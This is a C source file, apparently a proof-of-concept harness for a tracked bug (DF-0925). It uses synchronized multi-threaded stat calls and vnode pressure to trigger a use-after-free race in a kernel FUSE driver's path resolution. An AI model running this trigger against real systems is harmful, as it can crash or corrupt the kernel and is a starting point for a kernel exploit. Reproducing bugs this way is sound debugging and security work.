DF-0925 / race_trigger2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | /* * race_trigger2.c — DF-0925 improved race harness. * * Forces concurrent nresolve calls for the same path to maximize * the chance of two threads both finding the existing fuse_node. * * Strategy: * - Multiple stat threads that synchronize on a barrier, then all * stat the same target simultaneously. * - Heavy vnode pressure (maxvnodes very low) to force reclaim. * - When the target's vnode is reclaimed (cache invalidated), the * next synchronized stat burst causes concurrent nresolve calls. * First thread creates fnp (allocated=1), second finds it (allocated=0) * -> diagnostic tsleep(2s) -> vnode ages+reclaimed -> fnp freed -> UAF. * * Build: cc -O2 -o race_trigger2 race_trigger2.c -lpthread * Run: ./race_trigger2 /mnt/fuse/target */ #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #include <errno.h> #include <time.h> static char *g_path; static volatile int g_stop; static int g_runtime = 60; /* Barrier for synchronized stat bursts */ static pthread_barrier_t g_barrier; static void * thread_sync_stat(void *arg) { long tid = (long)arg; struct stat st; while (!g_stop) { /* Wait for all threads to be ready, then stat simultaneously */ pthread_barrier_wait(&g_barrier); if (g_stop) break; /* All threads stat the target at the same time */ stat(g_path, &st); } return NULL; } static void * thread_pressure(void *arg) { (void)arg; char buf[128]; int batch = 0; while (!g_stop) { for (int i = 0; i < 500 && !g_stop; i++) { snprintf(buf, sizeof buf, "/tmp/df0925_p_%d_%d", batch, i); int fd = open(buf, O_CREAT | O_RDWR, 0600); if (fd >= 0) { write(fd, "x", 1); close(fd); } unlink(buf); } batch++; usleep(10000); /* 10ms pause between batches */ } return NULL; } static void * thread_open_close(void *arg) { (void)arg; while (!g_stop) { int fd = open(g_path, O_RDONLY); if (fd >= 0) close(fd); usleep(1000); /* 1ms between open/close cycles */ } return NULL; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <fuse_target> [runtime_sec]\n", argv[0]); return 2; } g_path = argv[1]; if (argc >= 3) g_runtime = atoi(argv[2]); int n_stat = 4; /* synchronized stat threads */ int n_pressure = 2; int n_oc = 1; int ntotal = n_stat + n_pressure + n_oc; pthread_barrier_init(&g_barrier, NULL, n_stat + 1); /* +1 for coordinator */ pthread_t t[16]; int idx = 0; long tid = 0; for (int i = 0; i < n_stat; i++) pthread_create(&t[idx++], NULL, thread_sync_stat, (void*)tid++); for (int i = 0; i < n_pressure; i++) pthread_create(&t[idx++], NULL, thread_pressure, NULL); for (int i = 0; i < n_oc; i++) pthread_create(&t[idx++], NULL, thread_open_close, NULL); fprintf(stderr, "DF-0925 trigger2: %d stat + %d pressure + %d oc = %d threads\n", n_stat, n_pressure, n_oc, ntotal); fprintf(stderr, "target=%s runtime=%ds\n", g_path, g_runtime); int burst = 0; time_t start = time(NULL); while (time(NULL) - start < g_runtime && !g_stop) { /* Release the barrier so all stat threads fire simultaneously */ pthread_barrier_wait(&g_barrier); usleep(500000); /* 0.5s between bursts */ burst++; } g_stop = 1; /* Final barrier release so stat threads can exit */ pthread_barrier_wait(&g_barrier); for (int i = 0; i < idx; i++) pthread_join(t[i], NULL); fprintf(stderr, "DF-0925 trigger2: done after %d bursts\n", burst); return 0; } |